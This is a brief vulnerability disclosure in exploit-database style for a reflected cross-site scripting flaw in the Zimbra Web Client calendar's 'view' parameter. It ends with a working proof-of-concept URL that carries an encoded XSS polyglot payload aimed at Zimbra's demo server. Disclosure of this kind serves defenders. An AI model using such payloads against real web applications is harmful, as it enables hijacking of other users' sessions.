Zimbra Cross Site Scripting

# Exploit Title: Zimbra Cross Site Scripting
# Date: 12.02.2012
# Author: Sony
# Software Link: http://www.zimbra.com/
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/02/zimbra-cross-site-scripting.html
..................................................................

We have xss in the Zimbra Web Client.

After registration (or login) we can see our xss.

http://www.zimbra.com/products/hosted_demo.php

After registration click on "Standart(HTML)".

zimbra/h/calendar?view=[our xss is here]

http://demo2.zimbra.com/zimbra/h/calendar?view=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E